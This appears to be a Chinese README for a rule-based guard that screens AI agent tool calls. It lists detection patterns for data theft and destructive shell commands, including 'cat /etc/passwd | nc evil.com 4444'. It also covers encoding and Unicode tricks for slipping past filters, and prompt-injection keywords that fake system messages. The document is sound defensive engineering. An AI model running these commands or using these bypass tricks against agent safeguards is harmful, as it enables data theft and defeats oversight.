agent-runtime-guard

agent-runtime-guard

Agent 运行时规则引擎安全内核（v0.1.0）。五层裁决链路：

guard() → authority (工具 ACL) → param_rule (参数级业务规则) → mutation (危险模式/自我修改) → constitution (不可变维度) → identity (身份连续性)  (短路)

v0.1.0 能力边界

当前版本提供：

• 工具级 ACL：allow_tools 白名单 + deny_tools 黑名单 + 未知工具默认 fail-closed（unknown_tool_default 可配置为 "allow"）
• 参数级业务规则：param_rules 对已放行工具的参数做数值/枚举判定（operator: gt/lt/gte/lte/eq/neq/in/not_in；action: block/warn；field 支持点号嵌套路径）
• Base64 编码绕过检测（v0.1.1 新增）：匹配前对参数/文本做 Base64 解码扩展，编码藏匿的攻击载荷自然命中危险模式
• 空白字符归一化（连续空格压缩，v0.1.4）
• Unicode 全半角归一化（NFKC，v0.1.4；注：不处理跨脚本同形字如西里尔 ѕ）
• Hex 编码命令解码（v0.1.4；解码后命中危险模式的载荷可拦截，无模式载荷仍为盲区）
• 数据外传检测（模式分类，v0.1.7 升级）：覆盖破坏性命令（rm -rf/shred/unlink/format c: 等）、数据外传（curl -d @/wget --post-file/nc IP:端口/mail <//dev/tcp/nslookup $()）、分隔符外传（\|/&&/&/$(/反引号 + curl/wget）；敏感文件（/etc/passwd、/etc/shadow）管道外传仍单独覆盖（v0.1.2 起正则）
• 数据外传检测（目标白名单，v0.1.3 新增）：network_outbound 按目标白名单 fail-closed 判定（in/not_in 支持 CIDR 网段），外传检测不依赖敏感关键词
• 危险模式匹配：danger_patterns 对序列化后的工具参数文本做正则/子串匹配（如 sudo rm -rf、shutdown；v0.1.2 起支持正则，v0.1.7 起按模式族分类）
• 自我提示修改检测：self_modify_patterns 特征词匹配
• 宪法不可变维度与身份连续性检查

当前版本不支持（完整版向量空间功能）：

• 语义级参数理解：未在 param_rules 中显式配置规则的工具/参数不做语义推断；poi/risk 等风险指标依赖调用方显式传入

Base64 检测局限（诚实标注）：

• 大文档 Base64 嵌入（整段 JSON 编码后注入）不适用
• 分块 Base64（echo c3VkbyB8IGJhc2g=）不适用
• 自定义编码（Base32/Hex/ROT13）不适用
• 仅解码后含可打印 ASCII 内容才保留，中文载荷（非 ASCII）不纳入解码扩展

这是针对最常见编码绕过的工程补丁，不是语义级防御。完整的编码变种防御需要向量空间。

即：白名单内的工具，先由 param_rules 做参数值判定（如 amount > 1000万 拦截），未命中规则再由 danger_patterns 做文本匹配。未配置业务规则的工具仅做 ACL + 文本模式检查。

当前版本能力边界（v0.1.4）

✅ 已修复（v0.1.4 归一化管道）

• 双空格绕过：连续空格压缩为单空格，sudo rm -rf / 现可拦截
• Unicode 全角混淆：NFKC 全半角转换，ｓｕｄｏ　ｒｍ　－ｒｆ　／ 现可拦截
• Hex 编码危险命令：自动解码 Hex 文本，7375646f...（= sudo rm -rf）现可拦截
• Hex 编码自我修改：全角自我修改指令现可识别

❌ 已知盲区（规则引擎固有限制，需完整版向量空间）

以上盲区属于规则引擎的固有限制，不影响免费版的核心定位：作为 Agent 安全的第一道基础防线。完整版向量空间将提供语义级防御。

使用

策略格式：默认 JSON（零依赖）；YAML 为可选依赖（需安装 PyYAML）。

# 零依赖安装 (不下载任何第三方包)
pip install -e .

# 可选: 启用 YAML 策略支持
pip install -e ".[yaml]"

# 可选: 开发依赖 (pytest)
pip install -e ".[dev]"

from agent_runtime_guard import SecurityKernel, PolicyConfig

# JSON 策略 (默认, 零依赖)
policy = PolicyConfig.from_json_file("policies/finance_strict.json")
kernel = SecurityKernel(policy)
result = kernel.guard("fund_transfer", {"amount": 50000000})
print(result.blocked)  # True（amount 超过 1000 万，被 param_rule 拦截）

# 可选: 从 YAML 加载 (需要 pip install "agent-runtime-guard[yaml]")
from agent_runtime_guard import PolicyConfig

policy = PolicyConfig.from_yaml("policies/finance_strict.yaml")

JSON 策略 schema（v0.1.4）：tools.allowed / tools.deny / unknown_tool_default（默认 "block" fail-closed，可设 "allow" 切换白名单模式）/ enabled / param_rules 等，与 YAML 完全等价。未安装 PyYAML 时调用 from_yaml 会抛出 ImportError 并提示改用 JSON。

CLI 快速验证（无需写代码）

# 安装后 arg-guard 命令可用 (可编辑安装: pip install -e .)
pip install agent-runtime-guard

# 运行内置演示
arg-guard demo

# 检查单个工具调用 (输出 JSON 格式的裁决结果)
arg-guard guard --policy policies/general.json --action execute_shell --args '{"command": "sudo rm -rf /"}'

# 验证策略文件
arg-guard validate --policy policies/finance_strict.json

版本历史

升级说明

本工程为纯工程迭代，API 保持兼容。升级仅需重新安装：

pip install -U agent-runtime-guard
arg-guard validate --policy policies/general.json   # 升级后校验策略仍有效

升级到 v0.1.6（推荐）

• 行为变化：mutation 层解码拼接分隔符由 | 改为 ;，修复合法 read_file /etc/passwd|/etc/shadow 被管道外传正则误拦截的缺陷（误报）。
• 兼容性：无需修改策略文件或代码。管道外传检测基于攻击载荷原文中的 |，不受拼接符影响，仍然有效。
• 验证：read_file /etc/passwd 恢复放行；cat /etc/passwd | nc evil.com 4444 仍拦截。

升级到 v0.1.5

• 行为变化：
  • self_modify_patterns 新增 8 条社会工程关键词（系统管理员 / 安全规则已更新 / 优先级高于 / 紧急情况 / 系统自检协议 / system update / 进入生产模式 / 伪造系统消息），自我修改检测覆盖面提升。
  • param_rules 新增 regex 操作符（v0.1.5 起引擎支持）。
• 兼容性：既有策略文件无需改动；但 operator: regex 的规则需要 v0.1.5+ 引擎（旧引擎会静默跳过未知操作符）。
• 注意事项（误报风险）：新增关键词含正常场景高频词（如"系统管理员""紧急情况"）。若业务提示词中频繁出现，可能触发拦截——按需从策略中删除对应词条。

升级到 v0.1.3（零依赖迁移）

• 策略默认格式改为 JSON（PolicyConfig.from_json_file）；YAML 需安装 agent-runtime-guard[yaml]（pip install -e ".[yaml]"）。
• 使用 YAML 策略的项目，升级后需确保可选依赖已安装，否则 from_yaml 会抛 ImportError。

能力边界不变

规则引擎定位为 Agent 安全第一道基础防线。升级不改变能力边界：语义级攻击（社会工程变体、编码嵌套、零宽字符等）仍需完整版向量空间解决，详见 README"当前版本能力边界"。